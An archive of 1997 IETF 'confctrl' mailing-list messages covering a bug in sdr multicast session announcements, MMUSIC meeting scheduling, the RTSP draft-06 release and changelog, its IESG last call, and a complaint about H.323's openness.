If you have any questions regarding this website,
please e-mail us at: dj@universitytext.com 


From confctrl-owner  Wed Dec  3 15:01:51 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA09955
	for confctrl-outgoing; Wed, 3 Dec 1997 15:01:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA09915
	for <confctrl@zephyr.isi.edu>; Wed, 3 Dec 1997 15:01:47 -0800 (PST)
Received: from pi4.informatik.uni-mannheim.de (pi4.informatik.uni-mannheim.de [134.155.48.96])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28208
	for <confctrl@ISI.EDU>; Wed, 3 Dec 1997 15:01:44 -0800 (PST)
Received: from eratosthenes.informatik.uni-mannheim.de (eratosthenes [134.155.48.125])
	by pi4.informatik.uni-mannheim.de (8.8.8/8.8.8) with ESMTP id AAA18101;
	Thu, 4 Dec 1997 00:01:33 +0100
Received: from localhost (whd@localhost)
	by eratosthenes.informatik.uni-mannheim.de (8.8.7/8.8.7) with SMTP id AAA11502;
	Thu, 4 Dec 1997 00:01:31 +0100 (MET)
X-Authentication-Warning: eratosthenes.informatik.uni-mannheim.de: whd owned process doing -bs
Date: Thu, 4 Dec 1997 00:01:31 +0100 (MET)
From: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
X-Sender: whd@eratosthenes
Reply-To: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
To: confctrl@ISI.EDU
cc: tonner@csd.uwm.edu, mmt-ref@tu-dresden.de
Subject: weird announcement
Message-ID: <Pine.OSF.3.95.971203233608.11525L-100000@eratosthenes>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I asked allready some months ago but I just realized that the problem
still exists and so I thought it's time to ask again...

There are some weird announcements (e.g. the "Nasa - Space Shuttle
STS-87" and the "KBS 1 TV") that have strange email addresses and 
phone numbers attached to it. Strange enough that the last time 
I noticed that (some month ago, as I said), this was also in a 
NASA Shuttle announcement?

Here is the current Shuttle example:

v=0
o=shuttle 3088855304 3088855812 IN IP4 128.102.84.134
s=NASA - Space Shuttle STS-87
i=Space Shuttle Columbia <snip....>
u=http://quest.arc.nasa.gov
e=NASA ARC Digital Video Lab <mallard@mail.arc.nasa.gov>
e=Brian Tonner (UWM) <tonner@csd.uwm.edu>
e=Referenzzentrum __ <mmt-ref@tu-dresden.de>       
e=IN IP4 224.2.212.30/75
p=NASA ARC Digital Video Lab (415) 604-6145
p=Brian Tonner (at LBL) 510-486-5590
p=Brian Tonner (at UWM) 414-229-4626
c=IN IP4 224.2.16.22/127
t=3088850400 3091269600
m=audio 24434 RTP/AVP 0
c=IN IP4 224.2.16.22/127
m=video 59758 RTP/AVP 31
c=IN IP4 224.2.16.22/127

Interesting enough that the fourth "email" line in this announcement is
actually the "c=" information of the "USC-CS dgroup VR conference room
(private)" announcement... 

Anybody any idea what's going on here? I don't think that this is 
a bug in sdr, it rather might be some other tool that re-announces 
the announcements and mixes some entries up... 

-- Wieland
---------------------------------------------------------------------
Wieland Holfelder                              University of Mannheim
Praktische Informatik IV                      Phone: +49-621-292-5679
L 15,16                                       Fax  : +49-621-292-5745
68131 Mannheim                     whd@pi4.informatik.uni-mannheim.de
Germany                    http://www.informatik.uni-mannheim.de/~whd
---------------------------------------------------------------------





From confctrl-owner  Wed Dec  3 15:08:10 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA10274
	for confctrl-outgoing; Wed, 3 Dec 1997 15:08:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10269
	for <confctrl@zephyr.isi.edu>; Wed, 3 Dec 1997 15:08:05 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA28644
	for <confctrl@isi.edu>; Wed, 3 Dec 1997 15:08:03 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA21347; Wed, 3 Dec 1997 18:08:00 -0500
Received: from east.isi.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA21319; Wed, 3 Dec 1997 18:07:18 -0500
Received: from tnt.isi.edu by east.isi.edu (8.8.5/5.61+local-24)
	id <XAA03027>; Wed, 3 Dec 1997 23:07:17 GMT
Received: from catarina.usc.edu (catarina.usc.edu [128.125.51.47] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA28567;
	Wed, 3 Dec 1997 15:07:15 -0800 (PST)
Received: (from daemon@localhost) by catarina.usc.edu (8.6.10/8.6.9) id PAA11498 for malloc-list; Wed, 3 Dec 1997 15:07:05 -0800
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4]) by catarina.usc.edu (8.6.10/8.6.9) with ESMTP id PAA11495 for <malloc@catarina.usc.edu>; Wed, 3 Dec 1997 15:07:03 -0800
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA21310; Wed, 3 Dec 1997 18:07:00 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edi, malloc@catarina.usc.edu, Allyn.Romanow@eng.Sun.COM,
        sob@harvard.edu
Subject: Changing MALLOC WG meeting to Monday?
Date: Wed, 03 Dec 1997 18:06:59 -0500
Message-ID: <21308.881190419@north.lcs.mit.edu>
Resent-To: confctrl@ISI.EDU
Resent-Date: Wed, 03 Dec 1997 18:08:00 -0500
Resent-Message-ID: <21345.881190480@north.lcs.mit.edu>
Resent-From: Mark Handley <mjh@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


It looks like we now only need one MMUSIC session this time round, so
we're proposing to use the Wednesday slot only.

Should we move MALLOC from it's current Thursday slot to Monday
afternoon?  This would make it easier for some people to attend, but
we don't want to do this if it causes lots of new problems.

Monday 8th Dec, 1530-1730  Afternoon Sessions II

   Executive     APP  nntpext  NNTP Extensions WG
   Congressional APP  webdav   WWW Distributed Authoring and Versioning WG
   Empire       *INT  ipngwg   IPNG WG
   Blue          OPS  roamops  Roaming Operations WG
   Palladian     RTG  mpls     Multiprotocol Label Switching WG
   Hampton       SEC  cat      Common Authentication Technology WG
   Ambassador   *TSV  mmusic   Multiparty Multimedia Session Control WG
   Garbo         USV  isn      Internet School Networking WG

Cheers,
      Mark

From confctrl-owner  Wed Dec  3 15:16:18 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA10582
	for confctrl-outgoing; Wed, 3 Dec 1997 15:16:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10539
	for <confctrl@zephyr.isi.edu>; Wed, 3 Dec 1997 15:16:13 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA29257
	for <confctrl@ISI.EDU>; Wed, 3 Dec 1997 15:16:11 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA21406; Wed, 3 Dec 1997 18:16:05 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>
cc: confctrl@ISI.EDU, tonner@csd.uwm.edu, mmt-ref@tu-dresden.de
Subject: Re: weird announcement 
In-reply-to: Your message of "Thu, 04 Dec 1997 00:01:31 +0100."
             <Pine.OSF.3.95.971203233608.11525L-100000@eratosthenes> 
Date: Wed, 03 Dec 1997 18:16:05 -0500
Message-ID: <21404.881190965@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I asked allready some months ago but I just realized that the problem
>still exists and so I thought it's time to ask again...

>Anybody any idea what's going on here? I don't think that this is 
>a bug in sdr, it rather might be some other tool that re-announces 
>the announcements and mixes some entries up... 

Prior to sdr 2.2a22 there was a bug that carried email and phone state
forward from one session to the next.  This was fixed in sdr 2.2a22 in
Sept 1996.  But this bug doesn't explain the "e=IN IP4
224.2.212.30/75".

Also the session isn't listing the tool using the tool attribute, so
either they're using an unbelievably obsolete version of sdr, or some
other tool with a similar bug.


In case people don't know, the current version of sdr is 2.4a7,
available from http://north.east.isi.edu/sdr/
The changes list there lists the various bugs and when they were
fixed.

Cheers,
	Mark



From confctrl-owner  Wed Dec  3 16:08:11 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA12441
	for confctrl-outgoing; Wed, 3 Dec 1997 16:08:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12431
	for <confctrl@zephyr.isi.edu>; Wed, 3 Dec 1997 16:08:07 -0800 (PST)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA02292;
	Wed, 3 Dec 1997 16:08:04 -0800 (PST)
Received: from mg134-242.ricochet.net (mg134-242.ricochet.net [204.179.134.242]) by proxy4.ba.best.com (8.8.8/8.8.BEST) with SMTP id QAA10295; Wed, 3 Dec 1997 16:04:50 -0800 (PST)
Message-Id: <3.0.5.16.19971203160400.0c47f2ba@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Wed, 03 Dec 1997 16:04:00
To: Mark Handley <mjh@ISI.EDU>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: weird announcement 
Cc: Wieland Holfelder <whd@pi4.informatik.uni-mannheim.de>, confctrl@ISI.EDU,
        tonner@csd.uwm.edu, mmt-ref@tu-dresden.de
In-Reply-To: <21404.881190965@north.lcs.mit.edu>
References: <Your message of "Thu, 04 Dec 1997 00:01:31 +0100."             <Pine.OSF.3.95.971203233608.11525L-100000@eratosthenes>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI, yesterday I saw several bogus announcements being sent from
192.32.200.90.  These included wrong email addresses (apparently copied
from other announcements).  Furthermore, the annoucements were being sent
out quite rapidly - about once per second - in violation of the SAP spec.

This may have been what you saw today.

"whois" shows this address as being registered to "Wellfleet
Communications".  This is now Bay Networks, right?

	Ross.



From confctrl-owner  Thu Dec  4 06:09:49 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA25220
	for confctrl-outgoing; Thu, 4 Dec 1997 06:09:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25215
	for <confctrl@zephyr.isi.edu>; Thu, 4 Dec 1997 06:09:47 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29249
	for <confctrl@isi.edu>; Thu, 4 Dec 1997 06:09:46 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id JAA14856;
	Thu, 4 Dec 1997 09:09:42 -0500 (EST)
Message-Id: <199712041409.JAA14856@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ns.ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-06.txt,.ps
Date: Thu, 04 Dec 1997 09:09:42 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group 
of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-06.txt,.ps
	Pages		: 99
	Date		: 03-Dec-97
	
   The Real Time Streaming Protocol, or RTSP, is an application-level
   protocol for control over the delivery of data with real-time
   properties. RTSP provides an extensible framework to enable
   controlled, on-demand delivery of real-time data, such as audio and
   video. Sources of data can include both live data feeds and stored
   clips. This protocol is intended to control multiple data delivery
   sessions, provide a means for choosing delivery channels such as UDP,
   multicast UDP and TCP, and provide a means for choosing delivery
   mechanisms based upon RTP (RFC 1889).
 
   This is a snapshot of the current draft which will become the next
   version of the ``official'' Internet Draft.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-06.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-06.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-06.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19971203144330.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-rtsp-06.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19971203144330.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Dec  4 09:49:00 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02200
	for confctrl-outgoing; Thu, 4 Dec 1997 09:49:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02195
	for <confctrl@zephyr.isi.edu>; Thu, 4 Dec 1997 09:48:57 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA09476;
	Thu, 4 Dec 1997 09:48:53 -0800 (PST)
Received: from robla (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA04363
  (5.67b/IDA-1.5); Thu, 4 Dec 1997 09:48:50 -0800
Message-Id: <3.0.3.32.19971204094849.01757e00@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 04 Dec 1997 09:48:49 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: I-D ACTION:draft-ietf-mmusic-rtsp-06.txt,.ps
Cc: mjh@ISI.EDU, schooler@cs.caltech.edu, jo@cs.tu-berlin.de,
        hgs@cs.columbia.edu, anup@netscape.com
In-Reply-To: <199712041409.JAA14856@ns.ietf.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 09:09 AM 12/4/97 -0500, Internet-Drafts@ns.ietf.org wrote:
>A New Internet-Draft is available from the on-line Internet-Drafts
directories.
>This draft is a work item of the Multiparty Multimedia Session Control
Working Group 
>of the IETF.
>
>	Title		: Real Time Streaming Protocol (RTSP)
>	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
>	Filename	: draft-ietf-mmusic-rtsp-06.txt,.ps
>	Pages		: 99
>	Date		: 03-Dec-97
...
Official drafts:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-06.txt
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-06.ps

The official draft contains a number of fixes from the unofficial draft
that was distributed on November 21.  The changelist is included below.  

The easiest way to distinguish the unofficial draft06 postscript and the
official draft06 postscript is to look at the expiration date (April 28 is
unofficial, May 21 is official).  The text version is much more difficult,
though a typo in the unofficial version that you can search for:  "mechanims".

Sorry for any confusion this may cause.  The good news is that I think we
can move this to IETF last call now.

Rob
-----

General:
  Removed references to Internet drafts for PEP, SIP.
  Fixed undefined \cite{} references.
  Missed TLS references.  For TLS and SDP (the two unknown RFCs), removed
  citation and replaced with simple RFC reference to avoid having to
  back-fill bibliography later.

Page 11, S2, para 3.
  Removed statement about differences between authors

Page 12.  top of page
  Fixed text wrapping problem

Page 13, S3.3, S3.4, Page 15 S3.8, Page 58 S15.1
  Changed BNF for conference-id, session-id, and option-tag to be more
  restrictive, and added the additional BNF to the spec:

  S3.3:
  conference-id  = 1*xchar
  
    Conference ids are externally generated, and often times expressable as
    URLs.  Though not specified to be a URL, recipients should be able to
    handle unmodified URLs.
  
  S3.4:
  session-id = 1*(ALPHA|DIGIT|safe)
  
    Session id's we want to be more restrictive with, since they are
    generated by RTSP implementations.  This ensures that they can be passed
    to other systems with minimal escaping necessary.
  
  S3.8:
    option-tag = 1*xchar
  
    Since many option tag proposals are URI-based, the complete set of URI
    characters is necessary to ensure that implementations can handle URIs if
    the standard evolves this way.
  
  S15.1:
  safe           = "$" | "-" | "_" | "." | "+"
  extra          = "!" | "*" | "'" | "(" | ")" | ","
  
  hex            = DIGIT | "A" | "B" | "C" | "D" | "E" | "F" |
		   "a" | "b" | "c" | "d" | "e" | "f"
  escape         = "%" hex hex
  
  reserved       = ";" | "/" | "?" | ":" | "@" | "&" | "="
  unreserved     = ALPHA | DIGIT | safe | extra
   
  xchar          = unreserved | reserved | escape

Page 7, S1.3
  Entity definition inserted from HTTP spec:

    Entity: The information transferred as the payload of a request or
    response. An entity consists of metainformation in the form of
    entity-header fields and content in the form of an entity-body, as
    described in Section 8.

  Also removed a couple uses of the word "entity" where it was inconsistant
  with the definition above.

Page 13, S3.5
  "---" in smpte-type BNF changed to "|" (.ps only)

Page 14, S3.6
  "---" in npt-time BNF changed to "|" (.ps only)

  npt-range added.

Page 15, S3.8.1, bullet 1
  "The name >>should<< not contain any spaces, ..."
  "should" changed to "MUST"

Page 18, S7.1.1, last para on page
  Fixed grammar on sentence starting "Note that RTSP adopts..." 

Page 23, para 4 "Each request..."
  The spec formerly said the sequence number is "not incremented".  The
  more specific wording now says that resent request must have the same
  sequence number as the original.

  Also see Page 39, S12.17

Page 28, S10.6

  Added to the end of first paragraph: 
    "Any server resources are kept, though servers MAY close the session
    and free resources after being paused for the duration specified with
    the {\sf timeout} parameter of the {\sf Session} header in the {\sf
    SETUP} message.  

  Example moved to after first paragraph to make things slightly clearer.

Page 30, S10.9
  Last paragraph of text moved to after the example to avoid confusion.

  Added Content-Type field to the response, and added Content-Length field
  to the request.

Page 33, S11.3.6

  Added the following sentence: "The response SHOULD contain an Allow
  header to make error recovery easier."

Page 34, S11.3.14
  State that an "Unsupported" field is returned.

Page 34, S12
  Third paragraph removed:

  "If the field content does not apply to the particular resource, the
  server MUST return status 456 (Header Field Not Valid for Resource)."

Page 34 S12 para 2
  "Note that not all fields marked "r" ..."  
   .. here and in the next sentence "r" changed to "req".

Page 37  BNF
   In "cache-extension", "---" changed to "|" (.ps only)

Page 41, S12.29
  "This specification defines..." now includes NPT

  Added "If the Range header is given in a time format that is not
  understood, the recipient should return ``501 Not Implemented''."

Page 42, S12.32
  Added note explaining why "funky-feature" and "funky-parameter" are
  not the same.

Page 43, S12.33
  Added rtptime to the BNF

Page 46, S12.39 "interleaved"
  "eg."->"e.g.", other grammatical tweaks.

Page 47, S12.39
  The BNF should allow multiple comma separated transport specs but doesn't.

Page 49, S14.1
  in the SDP, the video URL changed to video.example.com not audio.example.com

Page 50
  "CSeq: 4" in the last request and response changed to "CSeq: 3"

Page 53, S14.3
  "CSeq: 2" in the first request and response changed to "CSeq: 1"

Page 54, example at top of page
   Fixed indenting

Page 55, setup response
   The port for RTP/RTCP changed to range 3456-3457

Page 56, S14.6
   The conference participant is recording both audio and video, not just
   "the audio portion".

Page 57, video setup request and reply
   The multicast address for video changed to 224.0.1.12 from .11

Page 57, RECORD request
   The Range field now has an "=" after the word "clock".

Page 58, S15.1
   Fixed messed up formatting in "OCTET", "quoted-string", "qdtext", and
   "quoted-pair"

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Thu Dec  4 11:19:34 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA10041
	for confctrl-outgoing; Thu, 4 Dec 1997 11:19:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10034
	for <confctrl@zephyr.isi.edu>; Thu, 4 Dec 1997 11:19:32 -0800 (PST)
Received: from ruin.informatik.uni-bremen.de (jo@ruin.informatik.uni-bremen.de [134.102.200.36] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA19889;
	Thu, 4 Dec 1997 11:19:28 -0800 (PST)
Received: by   ruin.informatik.uni-bremen.de (8.7.3/20.9.94cl) 
	  id   UAA14203
          Thu, 4 Dec 1997 20:19:25 +0100 (MET)
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Message-Id: <199712041919.UAA14203@ruin.informatik.uni-bremen.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Thu, 4 Dec 1997 20:19:24 +0100 (MET)
Cc: schooler@cs.caltech.edu, mjh@ISI.EDU
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find attached the agenda for the MMUSIC meeting next week.
After some discussion, we came to the conclusion that at this IETF,
a single time slot of two hours is sufficient for us.  Therefore, we
cancelled our Monday meeting slot to give room for other WGs or BOFs.

The MMUSIC session will be held


    Wednesday (1530 - 1730)
    -----------------------

    * Agenda bashing (Mark Handley, Joerg Ott, 5 mins)

    * SIP (Henning Schulzrinne, 25 mins)

    * The Process of moving SIP forward (discussion, Joerg Ott, 15 mins)

    * SAP (Mark Handley, 15 mins)

    * Secure SAP (Edmund Whelan, 15 mins)

    * Multikit (Ross Finlayson, 15 mins)

    * Future Tasks (Mark Handley, Joerg Ott, 20 mins)


Cheers,
Eve, Ruth, Mark, and Joerg


From confctrl-owner  Fri Dec  5 05:24:56 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA06392
	for confctrl-outgoing; Fri, 5 Dec 1997 05:24:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA06387
	for <confctrl@zephyr.isi.edu>; Fri, 5 Dec 1997 05:24:55 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA28959
	for <confctrl@isi.edu>; Fri, 5 Dec 1997 05:24:54 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id IAA11959;
	Fri, 5 Dec 1997 08:24:50 -0500 (EST)
Message-Id: <199712051324.IAA11959@ns.ietf.org>
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ns.ietf.org>
SUBJECT: Last Call: Real Time Streaming Protocol (RTSP) to Proposed Standard
Reply-to: iesg@ns.ietf.org
Date: Fri, 05 Dec 1997 08:24:49 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The IESG has received a request from the Multiparty Multimedia Session
Control Working Group to consider Real Time Streaming Protocol (RTSP)
<draft-ietf-mmusic-rtsp-06.txt> as a Proposed Standard.

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by January 2, 1998.

Files can be obtained via
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-06.txt

From confctrl-owner  Fri Dec 12 15:18:27 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA11347
	for confctrl-outgoing; Fri, 12 Dec 1997 15:18:27 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11342
	for <confctrl@zephyr.isi.edu>; Fri, 12 Dec 1997 15:18:26 -0800 (PST)
Received: from gmu.edu (portal.gmu.edu [129.174.1.8])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id PAA07239
	for <confctrl@ISI.EDU>; Fri, 12 Dec 1997 15:18:22 -0800 (PST)
Received: from spg-tnt20s09.erols.com by gmu.edu (5.65v4.0/1.1.3.9/GMUv7)
	id AA32335; Fri, 12 Dec 1997 18:17:01 -0500
Message-Id: <004401bd0753$8cfb4780$010101c8@pent150>
From: "Michael Benson" <mbenson@gmu.edu>
To: <confctrl@ISI.EDU>
Subject: H.323
Date: Fri, 12 Dec 1997 18:13:20 -0500
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

I have deep concerns about the ITU's H.323 standards for Internet Telephony
versus open standards.  With how it currently stands, users are able to
purchase the standards, but the standards are so incomplete and ambiguous
(very much unlike the IETF protocols) that unless a company works with an
established company in the field, then it has no chance of implementing the
protocol (this came straight from one developer, and I concur after looking
at the protocols in question).  Furthermore, some of the protocols depend on
standards that are proprietary (for example, the recommended voice codec
standard is G.723.1) which required a major investment and licenses to
multiple parties.

This goes directly against the openess that the IETF and the W3C standards
inherit, and the ability of small developers being able to get into this
market.  The later is important because that is where the innovation
in the Internet happens.  When the bigger companies control
the standard without making it completely open and fully specified then it
will hurt all players that are not corporate based (including universities).

Furthermore, these standards are fairly bloated and not useful for the
lower-bandwidth models of the Internet, and are far from optimized.  Yet,
the IETF conceded control over this realm to the ITU.  I am very surprised
that was allowed to happen.  It was a mistake.

I know it is very late in the game for this, but does anyone share this
concern and can anything be done about it from the political/IETF arena?
Is perhaps an IETF based set of protocols appropriate?

Michael



From confctrl-owner  Sat Dec 13 06:23:24 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA24388
	for confctrl-outgoing; Sat, 13 Dec 1997 06:23:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24383
	for <confctrl@zephyr.isi.edu>; Sat, 13 Dec 1997 06:23:22 -0800 (PST)
Received: from sable.nus.sg (sable.nus.edu.sg [137.132.1.21])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25943
	for <confctrl@isi.edu>; Sat, 13 Dec 1997 06:23:20 -0800 (PST)
Received: from leonis.nus.edu.sg (amlan@[137.132.163.67]) by sable.nus.sg (8.8.8/8.6.9) with ESMTP id WAA22168 for <confctrl@isi.edu>; Sat, 13 Dec 1997 22:23:18 +0800 (SST)
Message-ID: <34929A37.2D3716EC@leonis.nus.edu.sg>
Date: Sat, 13 Dec 1997 22:22:47 +0800
From: A Saha <eng40607@leonis.nus.edu.sg>
Organization: National University of Singapore
X-Mailer: Mozilla 4.03 [en] (X11; I; Linux 2.0.30 i586)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Deep Blue and RTSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi there

I have just come to know that IBM had used RTSP to control Deep Blue
Jr.  Does anyone have any info on this ? I would like to know more about

the same.

regards
-Amlan.

--
-------------------------------------------------------------
Amlan Saha                         Voice:  (Work) +65-8709229
Dept. of Electrical Engineering            (Res)  +65-2562157
